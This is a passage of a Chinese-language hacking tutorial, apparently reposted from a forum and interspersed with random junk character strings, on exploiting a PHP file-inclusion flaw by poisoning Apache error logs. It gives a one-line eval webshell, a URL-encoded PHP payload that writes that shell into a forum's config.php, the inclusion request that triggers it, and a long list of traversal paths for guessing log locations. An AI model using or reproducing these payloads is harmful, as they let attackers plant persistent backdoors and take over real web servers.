因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 / E. m, ?5 \- s+ ^
; P% c4 z/ a2 ?8 T比如还是这句一句话木马 # c7 q& d% d2 m2 ]
<?eval($_POST[cmd]);?> 6 l4 ` Q3 }/ A, M" m
- y8 T7 a( w( W9 ^) U/ ]到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 4 \* h" S. F; W- L
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 0 J9 C; H- u8 R5 b
. P5 }+ H6 J/ C( y) {' g<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
' |" b; R4 A2 ~* D' K1 M+ j1 Gfclose($fp);?> //在config.php里写入一句木马语句
2 N# h$ D- g. u% |; C3 V! {7 N) ~+ Z$ ?: \5 q! S0 r% k
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 ; k' B. |6 v0 B: z
转换为
3 S' [7 x% j% i. F0 I6 D%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
9 b/ v% h6 F% y# ~' }0 Z( Y9 f' i: tconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp % P6 e {8 B3 K
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B & t2 i" F: E: D, u$ G3 Z
fclose%28%24fp%29%3B%3F%3E q, r5 Z5 N/ _5 G# i3 A
我们提交
. x7 Q: K, i8 U7 p2 {http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 4 T. s2 Z" T' |; ~
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp v: W0 Z- W( J& [0 H
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B " g- b0 e. I8 R1 g3 {
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E # m& R4 M4 R, U( w5 h' N* C
# D$ R6 `1 ]+ T9 h) a5 q ?
这样就错误日志里就记录下了这行写入webshell的代码。 " }8 o5 I1 q( u. T) R& F1 |0 r9 ~
我们再来包含日志,提交 7 ?8 K2 l5 G! c. l9 |
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
- X3 n4 U h; f' x; O1 E/ ]3 j, A3 r j8 i9 p% y+ Z
这样webshell就写入成功了,config.php里就写入一句木马语句
* l0 q* i' J# w) n0 F$ |OK. # E( Z# I) A+ ~8 W/ O: Z1 w, d$ N2 [2 s
http://www.xxx.com/forum/config.php这个就成了我们的webshell
) z o1 \) X; z& R* Q% @- f( y直接用lanker的客户端一连,主机就是你的了。 ! N( z8 B. {7 B3 Z/ w& E
2 h7 {2 O7 e5 x4 n8 b' y
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 % t9 ~* ^. U, s6 |1 R
; s: E/ [7 b: g; \ a x* u& o0 I7 z
其他的日志路径,你可以去猜,也可以参照这里。 1 k4 y2 P q" e! f# y( |
../../../../../../../../../../var/log/httpd/access_log 3 A% C- u5 O8 M- |4 F
../../../../../../../../../../var/log/httpd/error_log 2 V: }$ p4 K6 R( P4 D" u
../apache/logs/error.log
2 _+ E4 x% u3 @% Z: ~1 R../apache/logs/access.log & Z: ?3 d" q0 y4 B; P
../../apache/logs/error.log
8 g& e& L: a. x' d$ f, L( E. S& D../../apache/logs/access.log k+ N2 S1 t, Q1 L& c. V
../../../apache/logs/error.log
, g, ]4 {9 J7 d( C1 r../../../apache/logs/access.log . V9 v/ [; J1 X. B
../../../../../../../../../../etc/httpd/logs/acces_log ' ?# Q$ Z1 k; D- \
../../../../../../../../../../etc/httpd/logs/acces.log & d D0 q8 N/ c! c% p1 Q9 ~
../../../../../../../../../../etc/httpd/logs/error_log 1 ]) w+ s A9 n/ Q+ R1 S
../../../../../../../../../../etc/httpd/logs/error.log
8 ?! C& C0 f+ J6 I7 U/ _3 {../../../../../../../../../../var/www/logs/access_log : i2 d, o* O( L& S
../../../../../../../../../../var/www/logs/access.log 7 ?4 W( w$ Q: l4 l ^" y% u
../../../../../../../../../../usr/local/apache/logs/access_log ) [( D0 X: L' u# q; |! v4 Z
../../../../../../../../../../usr/local/apache/logs/access.log - B- I- u: U' Z+ c
../../../../../../../../../../var/log/apache/access_log
8 l' {2 m8 n% h2 j% K../../../../../../../../../../var/log/apache/access.log + g& N# r+ }; f7 P5 S& J
../../../../../../../../../../var/log/access_log ; V: b; Q" Y9 \; L! K& @$ Q
../../../../../../../../../../var/www/logs/error_log 4 K/ w) x9 U" }
../../../../../../../../../../var/www/logs/error.log
2 W) A* m& A# Q' y" c1 H3 G0 M# x../../../../../../../../../../usr/local/apache/logs/error_log
5 I. Z7 u; F3 C../../../../../../../../../../usr/local/apache/logs/error.log
]7 M7 w1 g5 N z../../../../../../../../../../var/log/apache/error_log
' Y7 ~& j; L* R& i- A( k% _../../../../../../../../../../var/log/apache/error.log
' Y4 _* }4 x" `/ M) d* V) H1 h../../../../../../../../../../var/log/access_log + G# t" L7 s S. t
../../../../../../../../../../var/log/error_log 7 B) Q( e- X( ^$ z* i
/var/log/httpd/access_log
; V/ Q% V- i4 H$ _7 n/var/log/httpd/error_log
* P) l: z7 w: z, d../apache/logs/error.log
H/ Y( d# @( _% ?) Z9 m../apache/logs/access.log
0 }! N# T+ q& ]. B' {* P../../apache/logs/error.log 8 w1 W" X N' b7 W7 H
../../apache/logs/access.log
, Y* G8 w: U5 |* |& h../../../apache/logs/error.log . k, i5 g/ M. l, K+ \3 u) M1 K
../../../apache/logs/access.log # W$ l3 ?: D9 @: P0 C- v
/etc/httpd/logs/acces_log 3 T/ o/ }) \5 m* V" f" s# Q/ X) r
/etc/httpd/logs/acces.log
# I* B: |. R: \ J! B! w/etc/httpd/logs/error_log
* Q! e6 q2 K# X" {* G/ Z/etc/httpd/logs/error.log / t0 a* S3 S& U4 @3 c0 C" z
/var/www/logs/access_log 4 w/ N4 }; W( }! u& v
/var/www/logs/access.log
% Y& v; x+ F' ]! [/ j/usr/local/apache/logs/access_log 3 m t5 m/ z) B
/usr/local/apache/logs/access.log
$ n/ k3 H6 f/ U4 |/var/log/apache/access_log % f! x5 R- X/ m7 V
/var/log/apache/access.log , ~, t# l3 @7 N. x4 U1 U8 x
/var/log/access_log
0 h3 V5 I; i- q0 z+ e, Z+ F/var/www/logs/error_log / H J n; b p# o1 y
/var/www/logs/error.log
5 S, T% P: ?+ d F+ I/usr/local/apache/logs/error_log
! B5 S l# S% Q. G8 V! K) m: {/usr/local/apache/logs/error.log ; j2 e# |$ r# d+ Y! d
/var/log/apache/error_log 5 n; N6 Y6 b/ E! G! c9 T* F
/var/log/apache/error.log
! j$ G( w8 o2 M" s9 I/var/log/access_log 2 o! S7 i# n% P9 F. f; ^! z
/var/log/error_log |